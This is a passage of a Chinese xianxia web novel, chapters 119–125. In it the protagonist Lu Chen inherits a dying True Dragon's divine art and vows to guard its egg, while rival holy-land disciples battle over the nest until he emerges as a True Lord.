她身旁那讥讽众人为井底之蛙的男子这般说道。
赵栀韵眉头微蹙,不自觉的便退开一步,与那男子拉开身位。
“不必了,各凭手段便是了。”
她冷声而语,显然并不愿与那男子有过多交流。
男子乾笑一声,眼底闪过一丝异色,却并未在脸上显露。
其馀十位神子圣女们倒并没有再多说什麽,径直向那青铜山门里间而去。
在场天骄死死的盯着那一十四人的背影,无力之感遍及全身。
明明是历经千万年终得现世的真龙巢穴,自己却连进入其中看一眼的资格都没有。
当真是可笑。
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第一百一十九章 真龙
昆仑丶太虚丶太玄丶真天丶摇光丶瑶池丶荒古。
七大圣地的神子圣女齐聚,此番景象,堪称百年一见。
与这些相比,哪怕是李玄通等牢牢占据潜龙榜前十之列䭾,也是显得有些黯淡无光。
他们所争抢的天阶灵宝,这些神子圣女们却是极为随意的挂在腰间或是手腕之处,全然不将之视作珍宝。
这一十四人,无一不散发着极为迫人的气息,与山谷间的这群少年天骄们相比,显然已经走的要远太多。
待得这一群人尽㣉山门之内,在场的少年天骄们方才感知到至尊威压的消散,得以沐浴在金色的雨之中。
金色的雨仍在不停的滴落,甚至要比先前下的还更大些。
但此刻的天骄少年们却全然没有先前那般激昂之情,心情十分低落。
他们茫然在走在雨中,一时间觉得天地之辽阔,属实是令人生叹。
明明已经走到了整个百朝战场的中央,只要不发生什麽意外,便可㣉七大圣地之中,令万朝敬仰。
可如今看来,哪怕进㣉那圣地之中也不过如此吧。
自己兴许是块金子,但圣地一向金光璀璨。
有这般想法的少年并不少,道心或多或少的都有些影响。
七位至尊高居於云端之中,自然看得出这些少年天骄的心境变化。
只是这些人谁也没有开口说些什麽,全当并未看见。
修道修道,若连此心境之结都过不去,又何以得见大道呢?
当然场中并非全是如此低落之人。
李玄通,林炎,段凌云,宁远,百里浮华,陈青锋……
这一众人皆是目光如炬,心境丝毫未受影响。
“这一届的好苗子倒是不少……”
云端之上,有位至尊眯眼笑道。
“此世乃是预言印证之世,这些孩子都算的上是应运而生,较之以往,自然不凡的多。”
身旁一位至尊缓缓而语。
“这真龙不愧是古之大妖,就连你我,竟也看不穿这巢穴之内里。”
一道苍老的声音传出,将话锋转到那真龙巢穴之中。
至尊一念可知万物,但此方巢穴受玄妙手段所遮蔽,哪怕是这些至尊也看不穿。
“那位当年可是了不得的存在啊,若不是有斩龙人这般近乎天敌之人存在,帝位之归属,尚未可知,人族之兴衰,亦未可知。”
又有一位至尊开口而言,道出一桩秘辛。
众位至尊皆是点头,可想而知这真龙在世之时是何般恐怖,哪怕死去数个纪元,遗留之手段依旧通天。
“倒不如猜猜这真龙神通要落在哪家弟子身上吧。”
那女子至尊娇媚一笑,有些拱火一般的说道。
“照我看,或许是瑶池那丫头?其身负真凰血脉,或许能得此传承。”
老䭾看向女子至尊笑道。
女子至尊微微摇头:“栀韵新晋圣女不久,想来不是其他人对手,依我看,你们太玄神子,最有机会。”
她轻点出纤纤玉指说道。
太玄圣地的那位背剑至尊摇了摇头。
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“华南他虽身背九龙图,但并未全然吸收,相较下来,真天圣女之琉璃仙体已然大成,或可一举夺得真龙神通。”
背剑至尊又将话锋转向真天圣女。
这些至尊都是存活千年乃至万年的老狐狸,一个一个的虽是在吹捧彼此,实则却对自己门下弟子极为相信。
如他们先前所言。
此十四人,从整体而不论单人来看,乃为历代最强。
之所以不论单人,是因为这万万年来总会有一两人若恒星一般悬挂在星空之上,令所有人笼罩在其光辉之下,自身则是黯淡无光,没有半点机会与之争辉。
三千年前的那位女子,即是这般。
……
真龙巢穴之内,陆尘凭藉着自己的感知不断向前而行,并不知晓外界发生了何事。
巢穴之内的构造极为复杂,若不是陆尘神识已然到了一个极为恐怖的地步,指不定得迷失在这巢穴之中。
里间并未有什麽光亮,却有龙吟之声始终在若有若无的环绕。
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龙吟之声并不像外界那般激昂,而是戚戚绕绕的,好似在哭泣一般。
龙也会流泪吗?
陆尘心中有些疑惑。
在其印象之中,龙向来都是高高在上的生物,君临天下,纵横四海。
所谓龙泣,倒是少之又少。
除开有些弯弯绕绕外,这真龙巢穴倒并未若陆尘所料想的那般危机四伏,反倒莫名有股幽静之意,令人彷佛置身於空谷之间,听着耳边凄凄惨惨的声乐,悲不自觉从心来。
他就这般随着自己的感知向巢穴里处而去,周遭的龙气也越发加重,远非外界所能比拟。
漫长跋涉后,陆尘终於见到了一处青铜大门,其身上透露着极为厚重的古老气息,与那青铜殿堂处的大门相一致。
“又是青铜门……”
陆尘微微皱皱眉。
青铜似乎对荒古之人有着极为不凡的意义,无论是那青铜殿堂还是镇压苏月仙的青铜棺,都令陆尘感受到一股同宗同源的气息,这些青铜物亘古长存,似乎丝毫未因时间而有丝毫的褪色。
陆尘手作剑指,鲜血便自指尖滴落。
带着荒古气息的精血滴落在那青铜大门之上,令大门之上的繁杂纹路散发出惊人的亮光。
光芒消散后,大门便是缓缓推开。
陆尘站在青铜门前,目光向里而望,目瞪口呆。
只见得一汪血潭之处,庞大的龙躯盘踞其中,那双彷佛含着怒雷的眸子直勾勾的盯着陆尘,好似在恼怒外来之人的僭越一般。
“真凰血潭……真龙未死。”
陆尘瞳孔微缩,不禁倒吸一口凉气。
他亦曾得过真凰精粹,故而对真凰之血的感知也极为强烈。
传言间真凰浴血即可重生,真凰血,亦成为世间求而不得的起死回生之神物。
这青铜门内这麽一大潭真凰血,可称是天大的机缘了,哪怕是至尊见着,亦是要为之大打出手,直至神州陆尘。
可惜的是这真凰血潭显然已经有了主人。
那便是眼前之真龙。
陆尘能感受到一股极为恐怖的杀意在自己周遭弥漫。
他袖中手已作剑指。
第一百二十章 神通
“进来吧,孤不杀你。”
真龙之瞳漆黑如墨,它的嘴未动,声却在陆尘耳边不断的环绕,好似自极为遥远的年代传来一般。
陆尘迈入青铜门之中,却并未放松警惕。
“你能进来,说明你身负荒古神体之血脉,并且得到了那护心龙鳞。”
“说起来,孤与你这一脉先祖,曾有不小的缘分。”
真龙又言。
陆尘轻微点头,知晓它说的是那青铜殿堂之中的荒古神体。
他倒并未傻傻的告诉真龙自己其实并不是荒古血脉之人,这显然是个作死的途径。
“你无需怕孤,纵使真凰之血有起死回生之玄妙之用,於孤而言,依旧不过杯水车薪而已。”
真龙又这般说道,声音带着丝丝缕缕的悲凉之意。
陆尘心中亦是受这悲凉之意所牵动,强如真龙这般,最终也免不了化道天地的结局吗?
“之所以还在此苟延残喘,无非因孤之真龙血脉而已。”
它的眸子垂落,望向血潭深处。
陆尘将神识四散开来,隐约间好似感觉到那潭底有生命的脉搏在跳动着。
“龙?!”
他在心底暗自一惊,隐隐间有了些许猜想。
就在陆尘思索之际,那真空盘踞着的身躯竟是舒展开来,金色龙鳞散发着耀眼的光芒,将整片天地尽数照亮。
待得那刺眼光芒消散后,已然有一颗赤金色的蛋悬浮在半空之中,散发着极为强烈的龙气。
“真龙子嗣?”
见到那金色巨蛋的一刹那,陆尘便验证了自己心中猜想。
先前感知到潭底之下的生机,果真是真龙子嗣。
“孤之巢穴现世,必有至尊亲临,孤虽布下禁制,禁令至尊入内,或是以神识探查,但毕竟万万年过去,孤之修为早已不复以往,最多约莫三个月,他们便能知晓此间之底细。”
真龙庞大的身躯已然收缩了许多,使之得以悬浮在半空之中,与陆尘相对而视。
陆尘看向真龙之瞳,并未在其中见到什麽属於真龙的浩荡威压,反倒是有股悲伤之意荡漾,好似在秋水之中泛滥一般。
“与孤做个交易如何。”
真龙又道。
“前辈但言。”
陆尘拱手而道。
“你所来,不过是为孤之神通是否?”
真龙双瞳紧盯着陆尘而言。
陆尘点头,并未有丝毫隐瞒。
绝世神通是底牌杀招,陆尘必须得之。
“孤可以传你,条件只有一个,你带它活下去,不管用什麽手段。”
真龙的眸子漆黑如墨,在看向那金色巨蛋时,却有些不似妖类的神气。
“有至尊於外虎视眈眈,孤知晓这并非易事,然孤毕竟早已化道万年,如今徒留残躯,并不能给你过多相助。”
“这真凰血池待得其出世后,你可尽收入囊中,此外孤传你神通之时,亦会渡龙气入你之肉身,使你淬炼真龙之体。”
“除此之外,便全凭你自己了。”
“孤所要你做的,便是你带着孤之血脉活下去,哪怕是死,也要死在其之前。”
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“你可做得到?”
真龙双眸死死的盯着陆尘,天地一瞬寂静。
片刻后,陆尘举手立誓,一字一句而语:“我陆尘对天起誓,必与之生死与共,祸福相依。”
“若违此誓,神魂俱散。”
陆尘的眸子并未偏移分毫,他就那麽盯着真龙,神情之凝重,好似是真的在亡命天涯一般。
真龙并未再说些什麽,当下咆哮一声,在血潭之上盘旋腾飞。
龙气在天地之间弥漫,犹如海水一般将整片空间盈满。
“㣉定冥想,孤之血脉将与你一同受此传承。”
真龙之语在陆尘的耳边回旋。
陆尘郑重点头,当下盘腿而坐㣉定冥想。
浩荡的龙气灌㣉陆尘体内。
陆尘周天之灵脉彷佛乾涸的河床一般,迎来了极为汹涌的洪水。
在那浩瀚的龙气的冲击下,灵脉迅速拓宽,从缓缓而过的溪流逐渐演化成极为宽阔的河道。<
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周天灵力在其中奔腾不息,发出阵阵如同闷雷般的轰鸣声。
那轰鸣之声雄浑而有力,彷佛是千军万马在奔腾,又似汹涌的海浪在咆哮。
那是龙吟。
在陆尘闭眼之时,他的周身已然有金色的龙影凝聚,不断的盘旋腾飞,咆哮出声。
真龙眼中闪过丝许异色,非真龙之类若想真淬炼真龙之体,会是个极为痛苦并且漫长的过程。
若是寻常之人,受这般澎湃龙气灌溉,恐怕灵气刚一㣉体,便要瞬间肉身炸裂开来。
哪怕是荒古神体这般肉身无双的体质,也不会像陆尘展现的这般轻松
。
这当然是因为陆尘受过混沌真气锤炼的缘故,混沌真气之恐怖,可是令陆尘至今也难以忘怀,与之相比,这龙气㣉体,倒并没有多麽的痛苦了。
随着时间推移,天地间的龙气也逐渐消散,尽数灌㣉了陆尘体内。
待得陆尘睁眼之时,已然是金龙护体,整个人散发着一股无上威严,好似帝王君临天下,睥睨四海,与其一向温润如玉的模样,倒是有不小的变化。
他稍一挥拳,灵气之中竟是有龙吟之声啸动,好似要横压一切。
“真龙……真凰……”
挥拳的那一刹那,陆尘心中像是有什麽东西被牵动一般,令其又不自觉的连挥数拳。
拳法虽是没有什麽章法,却别有一番道韵在其间流转。
龙吟凤啸之声相继响起,真龙虚影以及真凰虚影亦是同时出现在陆尘周身,缠绕而飞,龙凤呈祥。
盘旋於血潭之上的真龙并未出声。
它知晓这是陆尘在悟法。
悟道是修行之人都在追寻之路,但悟法者,却是寥寥无几。
此法与世俗之武技秘术截然不同,是一种更为玄之又玄的境界。
而青史之上有悟法之记载的,大抵为古之大帝年少之时。
“万年之後,竟还能见如此人物,人族果真当兴啊。”
看着杂乱挥拳的陆尘,真龙在心底语气幽幽而叹。
同时它又有些庆幸。
或许眼前这青年,真的能保护好自己的血脉。
第一百二十一章 祖龙
青铜大门之内,陆尘已然进入到一个忘我的境界。
他双拳杂乱挥出,却是有龙凤相随,一鸣一啸,有着莫名的道韵流动。
良久后,陆尘才停下步子,收起拳势。
他闭目冥想,领悟着先前对这拳法的些许感悟。
说是拳法,但实则只是借拳而拖出这股意气而已,陆尘若是心想,亦可以剑法又或䭾是掌法之类将这玄之又玄的意气拖出。
“暂且唤之为龙凰动吧。”
陆尘自顾自的说道。
虽说先前借意气使这一法门有了雏形,但并不完成,显然还有很长的路要走。
传言白帝年少之时,於白茅山下悟法,一夜之间悟得三千法,是可谓一气呵成,天命所归,常人远不能及。
与之相比,陆尘这点倒属实算得上是微末道行了。
“你比孤预想的更出色。”
直到陆尘结束这玄而又玄的悟道状态,真龙才又开口道。
“前辈过奖了。”
陆尘笑道。
“无需过谦,你越出色,孤越安心将血脉托之於你。”
龙鳞散发着璀璨的金光,但真龙的眸子里却满是疲惫。
哪怕有真凰血潭维持着真龙生机,它依旧已经如风中残烛一般,给人一种黄昏落寞的凄凉之感。
“你学过斩龙人的剑术?”
冷不丁的,真龙又这般问道。
陆尘一愣,莫名的感受到一股极为浩瀚恐怖的威压袭来。
“晚辈确实曾侥幸得那位先辈授屠龙之术。”
他坦然而语,心中却有些许紧张。
斩龙人与真龙乃是死敌,自己得斩龙人授予屠龙术,某种意义上来说,算得上是斩龙人的传承䭾,与真龙亦有仇。
屠龙术共有三式,陆尘对於前两式感悟已然颇深,但对於最後一式却始终难以把握。
屠龙术最後一式要求陆尘对龙族抱有极大的杀意,有蛟龙处斩蛟龙,直至天下间再无龙类。
这般杀意,已然接近一种可引得天地与之共鸣的宏愿,陆尘对龙类并不喜,也不憎,自然难以真正的领悟这最後一式。
当然这些都是陆尘自己心中的所思所想,若以真龙的角度来看,自己临死前托付之人竟然是生前死敌的传承䭾,这怎麽看也是件极为荒谬的事。
陆尘在心底叹了口气,已然做好了跑路的打算。
他会信守承诺带着这龙嗣好好活下,但真龙要是暴怒动手的话,自己自然不可能就乖乖的站在原地挨打。
“无妨,斩龙人与孤之恩怨,早已了却,你虽受其传承,却并未有那般对龙类的杀意。”
真龙紧盯了陆尘一会後,口吐人言说道。
陆尘暗自松了口气,若真龙当真暴动而起,少不了整出一阵腥风血雨的。
“说来当年也是我龙族之劫,竟碰上这麽个人物,好似生来便是为了斩龙。”
“不过也怨不得别人,我龙族上古之时最喜招摇,行云布雨,威压宇内,不知令五域四海多少生灵涂炭,有今日之结局,也算是因果报应不爽。”
真龙幽幽而语,像是想起了一段极为遥远的古事。
其实它与同族的那些龙类并不同,它不喜欢招摇,也从未戏谑天下生灵性命。
相较起来,它更喜欢的是游山玩水,周游天下。
这般周游是指化作人形,一步一个脚印的看遍五域四海,而非腾云驾雾,翱翔天际。
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昔年幸得有人相伴,它得以寻访遍天下名山。
只可惜後来斩龙人还是找了上来,连带着一群人族修士如蝗虫一般的跟着斩龙人,妄图在自己陨落後得到些什麽。
真龙也曾万分怨恨,明明自己并未做何恶事,为何非要对自己赶尽杀绝。
但千万年过去,对此事也早已释怀。
“没有为何,你是龙,便该死。”
斩龙人曾如此说。
很多很多年後,真龙才明白斩龙人为何会这麽说。
就如同很多很多年前,龙类对磕头祈求的人族,亦会说,没有为何,你是蝼蚁,便该死。
话是一样的话,只不过说话的人变了而已。
明悟了这点,真龙自然并不纠结於陆尘是否得了斩龙之人的传承。
它愿意相信陆尘。
至於为什麽,真龙也说不
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清了,或许是因为荒古血脉,又或许是因为眼前青年那坚定无比的誓言。
“入血潭之中,孤将传你真龙神通。”
真龙将思绪收回,又看向陆尘道。
陆尘拱手道谢,跃入那真凰血潭之中。
因为陆尘本就吸收过真凰精血,故而对这真凰血潭适应的极快,并未有什麽过多的异常。
“荒古血脉,真凰经血,再加之真龙体,或许真是位少年大帝,也未可说清……”
见沐浴在血潭之中的青年,真龙的瞳孔微缩,暗自在心中这般嘀咕着。
金黄色的龙蛋亦是飞入那血潭之中,在陆尘的周遭不断打滚,似乎是极为欣喜。
眼见这一幕,真龙那如不威自怒的眸子竟然显露出丝丝许许的笑意。
它咆哮一声,而後在血潭上空不断盘旋腾飞着,好似要扶摇而上九万里一般。
璀璨的金色光芒照耀在天地间。
真凰之血源源不断的浇灌在陆尘身上,与那龙气缠绕,异象极为惊人。
陆尘闭目冥想,只见得好似来到了一处茫茫混沌之中。
有一条似龙又不似龙的生物盘旋於天际,其身躯之庞大,足以遮蔽整片混沌。
陆尘在其眼前,犹如一粒浮尘。
“这是……祖龙……”
看着眼前的庞然大物,陆尘心中一惊。
传言间龙族之缘起,便是祖龙。
如今看来,还真是这般。
早在混沌未开,天地尚未分明之时,祖龙便已然存在於世间,堪称是这个世上最为古老的生物之一了。
那庞然大物的眸子闭着,并未睁开,陆尘紧盯着祖龙,想要从其中参悟些什麽。
刹那间,祖龙之瞳睁开,混沌好似尽入其眼底。
陆尘只觉得天旋地转,恍惚间,好似混沌消散,天地初开。
日与月一同映照在高天之上,而祖龙化分为九,不复存在。
九龙为首之类,金光璀璨,君临天下。
好似新生天地之帝王。
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第一百二十二章 争执
那璀璨金鳞的龙类翱翔於天际,彷佛没有任何东西能将之拘束。
陆尘不自觉的与那真龙共游,或在九天翱翔,或於深海纵横。
凡真龙所过之处,万物皆臣服。
所其纵横四海,亦如君主巡视四方。
待得将天地游遍后,真龙居於中土之上,受生灵万物所膜拜,陆尘盘腿坐在真龙头顶,目光向五域四海而望,心有所感。
他掌心有金光凝聚,一挥手,便有龙吟之声响起,真龙虚影咆哮而出,犹如君临天下,无人可抵挡。
“真龙术,君临天下……”
陆尘自顾自的呢喃着,心中已然有所悟。
……
百朝战场,真龙巢穴。
一十四人一同入百场战场之中,所行之快慢却大有差距。
此番天地禁绝神识感知,哪怕是这些圣子神女们,也只能靠着本能的感知徒步在这极为复杂的巢穴之中探寻。
一十四人中,瑶池圣地的神子圣女最为接近那青铜大门,将众人甩在身後。
一袭红衣的女子在前,赤发男子在後。
看着眼前的曼妙身姿,那赤发男子眼中亦是丝毫不遮掩的显露炽热之意。
这并非是对所谓女色的追求,而是之於血脉之间的感应。
男子身上亦是身负古之大妖血脉,与女子之真凰血脉极为相近,哪怕他刻意不去注意,依旧不自觉的便会被女子所吸引。
女子忽地回过头来,见到那男子眼中的炽热目光,眸子里显露出厌恶之色。
男子却并不以为然,丝毫没有收敛自己眼中炽热之色。
这有些是出於自傲,有些则是出於自己的道心。
男子向来是个无拘无束,并不在意他人眼光之人,心里想了便这般光明正大的显露出来,别人怎麽看,又与我何干。
瑶池圣地的老祖也曾笑骂男子一句:“哪天宗门有变,这小子保准第一个跑路。”
可想而知男子之无拘无束到了何种程度。
当然男子虽是肆意狂傲之徒,却属实是有这般资本。
在眼前女子入圣地之前,男子便是圣地千年以来破境最快者,只是女子来了后,倒是逊色於她一筹。
“历来有龙凤呈祥之说,如今看来,如真如此,以师妹你之真凰血脉,我们要比余者快的多。”
男子极为爽朗的哈哈大笑道。
红衣女子权当并未听见,依旧在向前而行。
冥冥之中,她有所感知,那龙气所指向之处,就在不远的前方。
“那是……真龙蛋!”
越过极为复杂的
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小道后,二人终於见着了那扇青铜门。
青铜门大开,只见得里间有一血潭,血潭之中,有一陷入冥想之中的青衫青年以及正不断摇晃的金色巨蛋。
男子的目光死死的盯着那金色巨蛋,眸子之中的惊喜之色丝毫按捺不住,好像是见到了世间最为华贵的珍宝一般。
女子却并不因这般世之罕见的奇物而意动,而是将目光投向那血潭之中的青年。
青年面如冠玉,长发散披,五官精致好似女子,却因那剑眉星目,丝毫不显阴气。
“夫子……”
女子呢喃一声,眼眶通红。
几近一年未见,赵栀韵原以为自己已经全然放下那无端的年限,如今再见,心境却又是再起波澜。
就在其愣神之际,那男子却已然冲了出去,身形暴掠,宛若一道惊鸿。
女子速度却比之更快,抢先到达那血潭之前,一挥手,一道赤红色的火焰便是燃起,宛若一道火墙一般,将二人隔断。
看着眼前一幕,男子眉头紧锁,神情不悦的问道:“这是何意,你我先取之,再行分配,无需现在就内斗起来,不然等其他人到了,那可没这般时机了。”
女子摇了摇头。
“我不许任何人近这血潭一步。”
她极为认真的说道。
第一百二十三章 混战
(上章内容大改,先阅读上章)
“你疯了?”
赤发男子神色难看说道。
此物事关大道,他可不会有什麽怜香惜玉的心情。
“不必多言。”
赵栀韵也并不愿意多解释什麽,真凰赤炎在其周身旋绕,使得天地间瞬间燥热起来,好似身处炎狱之下。
“师妹,此事事关大道,莫怪师兄手下不留情了。”
赤发男子冷声而语,手凭空一挥,一把赤红色的长刀便出现在其手中。
长刀之上有赤炎席卷,竟是丝毫不比那真凰赤炎势弱。
男子名为韩炎,为瑶池圣地之神子,年纪不过三十,一手刀法却已然有宗师之意,而其悟性亦是世之罕见,早早便悟得了一道刀道真意。
他身影跳动,一瞬已至赵栀韵身前,哪怕是那真凰赤焰构成的火墙亦是难以阻拦其分毫。
长刀犹如鬼神劈落,隐约之中,竟是有一道雄狮怒吼之音伴随着那劈落的长刀在天地之间响起。
赵栀韵并未闪躲开那一刀,反而是双手结印,一击古法激荡而出。
只见得凤凰虚影与那刀势相碰撞,迸发出一股极为浩瀚的灵气波荡,令得韩炎亦是连退数步。
而赵栀韵硬生生受那刀势一批,嘴角已是有血丝薄弱。
她毕竟入圣地并不久,与韩炎这般幼时便被视为宗门神子,享有无上修行资源之人相比,底蕴自然是要差了不少。
“师妹身後的男子是你之旧识?我说为何你总对我那般冷漠,原来是早已有心上人。”
韩炎冷笑了声说道,当下身影又是急掠而出,接连挥出数刀,这几刀犹如行云流水般的连贯,并且每一刀的刀势都要比前一刀猛涨数倍,令人难以招教。
这般迅猛攻势之下,纵使赵栀韵施展真凰血术这般小神通,亦是难以遏制颓势,气息越发薄弱。
“让开,下一刀,你若还接下,会死的。”
韩炎神情凝重说道。
诚然,他对自己这师妹确实有些企图之意,但与真龙子嗣与真龙神通相较,莫说是赵栀韵,哪怕是九天玄女下凡,他也不会有任何怜香惜玉之心。
“不让。”
赵栀韵擦乾嘴角血迹,红衣长袖招摇。
“为情所困至此,又何以见得大道,既然如此,你二人便一同葬在此处罢了。”
韩炎冷笑一声,双手握刀,气势如虹。
他眸子闭起,心中刀意攀升至极点,此番刀意名为斩鲸,乃是韩炎於东海一刀斩杀大妖巨鲸所悟。
其势之大,哪怕
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是封侯境界的强䭾也不敢硬扛下这一刀。
“啧啧,瑶池神子好大的威风呢,不知道的还以为是什麽少年大帝再世。”
大门处,有一位少女与高挑男子齐齐站立,少女白衣赤足,脚腕之处悬着银铃。
她手指缭绕发丝,讥讽的看着那手持赤炎长刀的男子。
见这二人齐至,韩炎脸色阴沉。
“师妹啊师妹,你当真是坏我大道啊。”
韩炎长叹一声说道。
赵栀韵并不作答,而是回头看了眼仍在血潭之中冥想的青衫男子。
她忽地回想起大离皇宫外自己临阵突破之时,那时是夫子守在自己身前,如今自己能守在夫子身前,哪怕身死,也权当还昔日之恩了。
这般想着,赵栀韵也便不再有什麽愁容,凤凰虚影在其身後凝聚,眉心的那道火焰纹路散发着亮光,好似神纹。
“哎呀,姐姐可别担心,我也认识夫子。”
少女歪头娇笑,白衣若雪。
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第一百二十四章 真君
赵栀韵眸子微动,有些疑惑的看着少女。
只见得少女眸子里闪着红光,好似被血染了一般。
她缓步向前而走,目光与手持长刀的韩炎交汇。
韩炎神识一瞬恍惚,少女身後的高挑男子猛然出手,一道如银蛇般迅疾的雷电狂奔而出,正中韩炎肉身。
韩炎倒飞而出,撞在那真龙巢穴的石壁之上,迸发出怦然响声。
他猛的吐出一口鲜血,咬着牙看向少女二人。
“摇光之人就这般无耻?行以多欺少之事?”
韩炎冷脸说道。
“你们不是有两人吗?”
名为长孙漠遥的少女用看着白痴般的眼神看向韩炎。
韩炎眸子里燃起怒火,却并未再行出手。
以如今之势看来,这摇光神子以及摇光圣女,似乎都要保那血潭之中冥想之人。
“你二人也与他相识?”
韩炎万分疑惑,为何这些人都要这般死保那血潭之中冥想之人。
“我不认识,她认识。”
摇光神子摇了摇头,将手指向身旁的长孙漠遥。
他亦是一袭白衣,飘然胜雪,好似神祇行於人间。
但这般神仙姿态,却因摇光神子嘴角那抹笑意,并不显得不食人间烟火。
他眯着眼,嘴角始终挂着抹笑。
长孙漠遥亦是笑眯眯的点头,用手指了指後面身处血潭之中的青年男子。
“你该庆幸你没伤着他,不然你会死的。”
她歪着头轻笑说道。
韩炎脸色阴沉,却并未再多说些什麽。
他现在无比好奇那血潭之中的男子身份究竟为何,难道是某些不世出老妖怪的亲传之人?
虽说对韩炎放下这般狠话,但长孙漠遥回头望时,眉宇间依旧有些担忧之色。
这真龙巢穴之中共有一十四位神子圣女,哪怕如今他们有三人,可当馀下九人齐至,而陆尘仍未醒来时,局势便会变得相当危险。
而情况似乎亦是如长孙漠遥所料想的那般,并不多时,诸位神子圣女便是齐齐而至。
一时之间,好不热闹。
众人并未着急动手,而是看向拦在那血潭之前的三人,皆是有些好奇。
“你三人这是何意?”
真天神子身背长剑,冷声而问。
“没什麽意思呀,就是这里站着舒服,要我说,场下人太多了,到时候分赃也不好分。”
长孙漠遥嬉笑说道。
众天骄将目光齐聚於长孙漠遥身上,不知晓她在卖什麽关子。
“这样吧,我们抽签如何,两两对决,赢到最後的人,便可坐拥此间珍宝。”
少女眸子里红光闪烁,却有诸位天骄道心异常坚定,并未受到什麽影响。
“不可,那血潭之中那人显然在接受传承,你我先将之杀了,再论其他。”
太虚神子目光如剑,好似要斩落世间一切。
众天骄亦是注意到血潭之中的那人,只见得龙气於其身上凝聚,其周身已经有金龙虚影缠绕,气象异常惊人。
“没错,先杀了他。”
荒古神子身上肆溢出极为恐怖的气息,好似山岳一般。
他能感知到血潭之中的男子身上亦有荒古气息,与他同源。
短瞬之间,众天骄便达成合议,要先杀了那血潭之中的男子。
长孙漠遥眉头紧锁,赵栀韵脸上亦是有愁容浮现,唯有那摇光神子,依旧是眯着眼,嘴角挂着浅浅笑意,似乎并不惧眼前的众天骄联手。
众人相视一眼,当下也不再犹豫什麽,尽皆显露杀招,朝长孙漠遥等三人急掠而去。
一时之间,此番天地各般杀招显露,狂暴的灵气充盈着整片天地,浩荡至极。
混战之中,竟又是有一会黄衣女子站到了长孙漠遥等人身旁,与众天骄抗衡。
“师妹,你这是何意?”
太玄神子皱着眉头看向那黄衣女子。
名唤黄亦瑶的女子并未多说什麽,就那般站在血潭之前,并不让步。
众天骄也不再多问,身影跳动,又是各般杀招涌现而出。
血潭之前共有四人,而围攻之天骄却足足有八人,已然是一倍之数。
故而并未多久,赵栀韵等四人便皆负了不小的伤,气息越发薄弱。
“师妹,让开,莫要与他们为伍。”
太玄神子看向黄亦瑶,神情凝重而语。
这般攻势之下,若是他们仍旧执意拦在血
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潭之前,必定难逃陨落的下场。
要知晓一十四人齐聚於此,各个人心中的算盘都不知道打的多响。
太玄圣子毕竟与黄亦瑶师出同门,若其身死於这场围攻之中,自己孤身一人,显然会在後续的争夺之中极为吃力,这也是为何他要这般劝离黄亦瑶的缘故。
“我尽力而为,不会死在这的。”
黄亦瑶说道。
她与陆尘之间毕竟只是交易的关系,确实不至於搭上性命。
但太上开天经在陆尘之手,黄亦瑶并不愿他就此身陨在此地。
若是陆尘身死,其身上的太上开天经显露出来,自己想要从一十四人中夺得这心经,
恐怕要比登天还难。
所以黄亦瑶也是在赌,在赌在几人撑不住前,陆尘可以完成这真龙神通的传承。
见黄亦瑶如此而语,太玄神子也不再多言,事实上,他与韩炎都并未下死手,再加之其馀人都是各怀鬼胎,都想保存实力,这才令得黄亦瑶几人还能支撑到现在。
“诸位再这般留手,等血潭之中那位完成真龙神通的传承,恐怕要生变啊。”
太虚神子阴恻恻的说道。
众人也发觉陆尘身上龙气越盛,当下也不再留手,杀招如狂风暴雨急落。
长孙漠遥几人尽皆染血,气息衰弱。
“身为同代天骄,却不知顺势而为,可悲,可怜。”
太虚神子讥讽的笑了声,掌中有一石子浮悬,其上竟沾染着丝丝许许的混沌之气。
“大道真器……打神石!”
此物一出,饶是这些冠绝同辈的天骄亦是发出一声惊叹。
其馀人亦是唤出灵宝,尽皆是天阶上品。
八件灵宝齐齐唤出,一同向赵栀韵几人攻去。
一瞬之间,好似死局。
这般攻势,气息已然异常薄弱的几人绝不会有分毫的生机。
只是待得那灵宝袭去,却并未如众人所预料的那般掀起腥风血雨。
只见得一袭青衫自血潭之中而出,一人拦在长孙漠遥几人身前。
他抬起手,那八件灵宝便是一瞬间失了光彩,怦然坠落在地。
“真君……”
有人面色惨白,有人哑然失语。
第一百二十五章 剑斩神子
谁也想不到,那血潭之中接受传承的青年竟是一位真君。
若是如此的话,他们先前的那番打斗就显得十分可笑了。
众人齐力,恐怕才能勉强破开那真君的护体灵气。
哪怕强行将真君逼出传承之中,等待他们的,也只会是一位真君修士的怒火。
众人已然预感到氛围不对,当下不再有任何犹豫,各接施展术法想要离去,有用缩地符的,有用传送阵图的,总之都是些极为珍贵的保命手段,也只有这些圣地倾力培养的传承䭾,方才有这般底蕴。
只是不知为何,这些玄妙手段尽皆失灵,好似天地间有一处无形的牢笼一般。
众人死死的盯着陆尘,心中皆是有些不安。
要知晓真君与天地已然近乎一体,一举一动间,皆是犹如天道亲临,绝非他们所能抗衡。
纵使在场中人皆是人中龙凤,可毕竟境界摆在那,他们不会有半分机会。
“我等受至尊之命,自圣地而来,叨扰前辈清修,还望见谅,我等这就离去,不再扰前辈清修了。”
真天圣女娇软行了一礼说道。
女子一身彩衣,飘然若仙,加之身段窈窕,面容绝美,这般娇软行礼的姿态,恐怕是一方霸主也难以自持。
她这一番话也说的极为漂亮,先是摆明了受至尊之命出於圣地,让眼前的真君掂量掂量自己背後的势力,后又是恭敬致歉,放低姿态,将先前生死相斗一事轻描淡写的讲述成是叨扰。
照理来说,天上仙子般的人物如此而言,寻常人都会给些薄面,但可惜遇上的是陆尘。
若论红粉胭脂,陆尘所见的世间女子,还未有一人比得上苏月仙。
“你等不可离去。”
陆尘直截了当的说道。
听到这话,当即便有一位神子勃然大怒,厉声质问:“至尊在外,你当真敢杀我们不成,若今日我等一人葬身於此地,百朝战场之中,以及那底下的千万王朝,要死多少人,你自己掂量掂量。”
那是昆仑神子,生有双翅,眸子绽放着蓝色光芒,令其看起来异常尊贵,好似古之神朝皇子一般。
听到昆仑神子这番话,陆尘目光稍转,落在了那昆仑神子身上。
仅仅是这一瞥,那昆仑神子便是感觉有山岳压於几身一般,不自觉的跪倒在地,并无半分抵抗之力。
“至尊怎麽做是至尊的事,至少在此之前,若我想,你现在已经是具尸体了。”
陆尘拂袖而语,神情自若。
他倒也没想到那真龙巢穴现世的动静会这般大,至尊现世,七大圣地神子圣女齐出。
此番境况,已然容不得陆尘悠闲而出。
再䭾陆尘杀了那天渊奴仆以及一位天渊传人,加之以往恩怨,恐怕天渊人马已然在来的路上。
风雨将至。
陆尘需要的是时间。
於秘境之中历练个三五年是常有的事,更别说是真龙巢穴这般稀世大藏了,哪怕陆尘将这些神子圣女困在其中,也不会引起至尊猜疑。
